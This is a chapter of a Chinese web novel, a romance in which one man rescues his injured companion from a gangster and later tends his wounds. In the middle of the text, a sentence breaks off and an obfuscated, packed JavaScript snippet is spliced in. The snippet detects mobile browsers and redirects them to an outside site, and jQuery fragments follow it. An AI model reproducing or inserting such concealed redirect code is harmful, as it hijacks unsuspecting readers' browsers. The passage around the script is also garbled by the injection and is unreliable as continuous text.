默认冷灰
24号文字
方正启体

43.第43章 优待伤员

作者:匿星海本书字数:K更新时间:
    “慕总,人交给你了。”一个梳着背头的中年男人弯腰,对着黑色轿车里的慕时卿说道。


    “嗯。”慕时卿上半身处于阴影中,看不到他的神色,只听声音冷淡,语调轻慢,“往后……”


    没等他说完,对方就保证道:“我保证,老黑往后不会再找聂少的麻烦。”


    “嗯。”慕时卿的声音仍不显一点情绪,像是随手处理了一件不怎么重要,但又不得不处理的麻烦事。


    站在车外的老刘把车门关上,背头男人往后退了一步,恭敬地看着黑色轿车启动驶离。


    轿车后还跟了一辆商务车和一辆面包车,面包车上是秦毅和秦毅的手下,商务车上则坐着聂司卓和张明凯,随车跟来的医生和护士正在帮两人检查处理伤口。


    “嘶~”张明凯疼得龇牙咧嘴,对帮他涂药的护士说,“轻点轻点。”


    他颧骨的位置确实又红又肿,但相对于到处挂彩的聂司卓,伤得并不算重。


    医生拍拍聂司卓的肩膀,“我帮你擦药,你忍着点。”


    聂司卓一声不吭,医生也不管了,加重手上的力道按揉起来,聂司卓下颚忽地绷紧,却仍是一声不吭。


    张明凯都替他感到疼:“卓哥,来救我们的到底是谁啊?我要不要下去谢谢人家?”


    “不用。”聂司卓回,“我帮你谢他就好。”


    他想慕时卿现在正心烦着呢,肯定不愿见顶着一头红毛的张明凯,说不定连他都不想见。


    想到这里,他心情瞬间跌入低谷,医生恰巧按到他腹部伤得最重的地方,他一个走神没绷住,“嘶”了一声。


    张明凯乐了,“我还以为你铁打的。”


    聂司卓情绪不高地弯了一下嘴角:“今晚的事是我连累你了。”


    “嗐~”张明凯潇洒地拨了一下刘海,全然忘了刚才吓得乱叫“爸”的事。


    “是兄弟就不要说这些,而且如果不是为了救我,你也不会被他们抓,你把我当兄弟,我张明凯也把你当兄弟。”


    聂司卓心不在焉地点了下头,透过前挡风玻璃,看向前方。


    大晚上的,又是在郊外,只能看到两道尾灯照出来的光线。


    在老黑打电话给慕时卿的那一刻,他就有种完蛋了的感觉,努力了这么久,好不容易让慕时卿看到他的价值,对他有所改观,现在慕时卿一定觉得他没用,连这点小事都处理不好。


    进入市区后,开在前面的黑色轿车在一段无人的路段靠边停下,后方的两辆车子也跟着停下,聂司卓从商务车上下来,快走几步上了黑色轿车。


    之后三辆车子再次启动,开往不同的方向。


    黑色轿车是往南山澜府的方向,隔板被升了起来,车内亮着灯,聂司卓能看清慕时卿的五官,却看不出慕时卿脸上的情绪。


    他耷拉着嘴角,规规矩矩地叫了一声:“慕总。”


    慕时卿侧头,幽幽地瞥了他一眼,问道:“疼吗?”


    聂司卓本想说不疼的,但眼睛滴溜转了小半圈后,改了主意:“疼,特别疼,还好慕总你赶来救我,你就是我的救命恩人。”


    慕时卿没好气地哼笑一声。


    还能贫嘴,看来确实没什么大碍。


    他歪着头,打量起聂司卓的脸,最后伸长手臂,拇指刚要抚过嘴角的伤,手却被握住。


    “刚擦了药,别弄脏了手。”聂司卓珍重地握着慕时卿的手,“你没生我的气?”


    “生气?”慕时卿弯了弯嘴角,“你确实挺会惹我生气的。”


    聂司卓眼尾眉梢又落了回去:“其实,我是能处理好的,但我没料到他会给你打电话。”


    “能处理好?”慕时卿额角轻轻抽动了一下,“被打成这样叫能处理好?”


    “我手上有聂司珵坑他的证据,他从我这里讨不到好处,肯定会去找聂司珵算账的。至于这些伤……”聂司卓顿了顿,“算是计划中的一部分吧。”


    慕时卿抽回被握着的手:“你的计划还真是自损八百。”


    聂司卓又伸手过来,将慕时卿的手握了回去,半哄半撒娇道:“也没到八百,最多就两百。”


    “那是因为老黑来找我了,但凡他非要从你身上讨回之前的损失,你以为他会对你心慈手软?还有,你不会不知道,你在算计别人的同时,别人也在算计你吧。”慕时卿说。


    刚才,他让秦毅去“问”了老黑,从老黑的交代中,他确定,这件事跟张翠母子脱不开干系。


    “我当然知道。”聂司卓说。


    “所以,你这就是在赌,在赌老黑是信你还是信聂司珵,在赌自己是否能说服老黑,然后用你的方式去对付聂司珵和张翠。”慕时卿挑明。


    聂司卓愣了愣。


    他没想到慕时卿居然看到了这层。


    慕时卿一点都没猜错,他确实是想挑拨老黑跟聂司珵的关系,然后再怂恿老黑去对付聂司珵,只要老黑按他引导的去做,最后聂司珵走私的事就会败露。


    是,没错,这样做风险确实很大,但聂司珵母子一心想要对付他,他在国内根基不稳,没有资源,不这样做,根本斗不过那母子两。


    他已经利用了一切他所能利用的。


    慕时卿看着身旁沉默不语、眼睫低垂的人,很轻地叹了一口气:“你想靠一个没有道德底线的黑she会,想靠自损两百或者三百、四百去打破困境,却唯独没有想到我。”


    聂司卓猛地抬起眼睛,后又垂下:“我不想把你牵扯进这么危险的事情中。”


    慕时卿笑了,伸手捏住聂司卓的下巴,迫使对方看着自己:“聂司卓,你是不是太小看我了?既然你这么小看我,为什么一回国就要黏着我?”


    说完,他手一放,别开脸。


    聂司卓心“砰砰”跳了两下,刚才的慕时卿好带感。


    “生气了?”他确定,慕时卿这回是真的生气了。


    “没空跟你这种小屁孩生气。”慕时卿又把脸往车窗那边别了些。


    聂司卓只能看到线条精致如工笔画的狭长眼梢,他忽然明白为什么总有一种慕时卿在跟他赌气的感觉,因为慕时卿不是气他给自己添了麻烦,也不是气他能力不足,而是气他没有在遇到困难时,第一时间想到自己。


    这代表着,他在慕时卿心里,占据着某种特殊的地位。


    “我错了。”他高兴慕时卿跟他赌气,但也担心真把人气坏了,“以后不再让你担心了,有什么事情,我第一个跟你商量,不生气了好不好?”


    慕时卿的脸又别过去了一些,过了一会儿像是才顺了气,把头转了回来,但还是没去看聂司卓:“我生气是因为,你外公拜托我照看你,我也答应了,可你却不当回事,要是你真出了什么事,我怎么跟你外公交代? ”


    聂司卓笑笑,他才不信慕时卿只是因为这个才生气呢。


    “知道了,我改。”他探头过去,“要不你罚我吧,怎么罚都行。”


    最后一句说得意味深长。


    慕时卿瞥了眼张灯结彩却依然桀骜张扬的脸:“没兴趣。”


    聂司卓


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16291949|181287||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    犬齿发痒,慕时卿对他没兴趣,但他却对傲娇的慕时卿很感兴趣,可惜他嘴角擦了药,不然就可以直接用行动“请罪”了。


    “那就先记着,等慕总你有兴趣了再来讨。”他笑着说,想起有正事没问,“对了,跟老黑交涉的人,是谁?”


    “一个合作方,不用知道得太清楚。”慕时卿回。


    “没拿什么生意上的事做交换吧?”聂司卓担忧地问道。


    当他知道慕时卿没有用钱去赎他,他才稍稍放下心来,可转头又担心起这个帮忙交涉的人。


    “没有。”慕时卿回答,“他欠我一个人情,只是把这个人情用掉了。”


    聂司卓笑道:“那这个人情记到我头上吧,以后我还。”


    慕时卿很轻地笑了一声:“你欠我的人情还少吗?”


    死皮赖脸地要当他助理,还靠装可怜住进了他的公寓。


    “那怎么办?”聂司卓一副很伤脑筋的样子。


    “要不……”他勾起嘴角,“我以身相许?”


    慕时卿笑着嫌弃道:“你还是先把伤养好吧。”


    车子驶达南山澜府。


    聂司卓洗完澡出来,看到慕时卿在客厅的沙发坐着,桌上摆了几瓶药,有跌打扭伤的,有愈合伤口的,还有消炎止痛的。


    “慕总,你要帮我上药吗?”他高兴地坐到慕时卿身边。


    “你自己上也可以。”慕时卿很讲道理,“不然我下手没轻没重。”


    “我不怕疼,来吧。”聂司卓义无反顾。


    慕时卿还真下了几次狠手,因为医生说,有些淤堵的地方需要揉开。


    被医生怎么按揉都一声不吭的聂司卓,到了慕时卿这里就各种卖惨喊疼。


    慕时卿不幸目睹了一场浮夸的表演,好不容易才把药擦完。


    聂司卓正想抱起自己的阿贝贝继续演,却哪里都找不到那张小毯子。


    “我毯子呢?”


    “放到房间里了。”慕时卿慢条斯理地用湿巾擦手。


    “哦。”聂司卓以为是毯子被慕时卿回收了,正要难过,却发现,沙发上睡觉用的枕头和薄被也不见了。


    “那我的枕头和被子?”


    “也在房间里。”慕时卿推了一下眼镜,没看聂司卓。


    聂司卓犹豫了一会,鼓起勇气问道:“今晚我睡哪儿?”


    慕时卿站起身,状似随意地说道:“去床上睡吧,免得从沙发上掉下来,伤上加伤。”说完就往房间走。


    聂司卓一跃而起,无声欢呼,不小心扯到痛处,脸皱成一团。


    慕时卿在这时转身,聂司卓赶紧收拾脸上的表情,换上一个人淡如菊的微笑。


    慕时卿用视线点了一下医药箱:“收拾好了再进来。”


    聂司卓:“好的。”


    在胜利面前,一切忍耐都是值得的。


    慕时卿回房,聂司卓几分钟后跟了进来,然后看着床上泾渭分明的两张被子,沉默了。


    慕时卿已经盖着其中一张被子,背对着门口,像是睡着了。


    聂司卓闷闷不乐地走到床边,想了想,悄咪咪掀起慕时卿的被角,慕时卿像是背后长了眼睛,轻轻地说了句:“要么乖乖睡那边,要么睡沙发,自己选。”


    聂司卓不服气地嘟嘟囔囔:“又不是没在一起睡过。”虽然是在沙发。


    慕时卿幽幽的声音从那边传来:“你擦了药,臭。”


    聂司卓:?


    聂司卓:!


    早知道这样,他就不擦药了。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)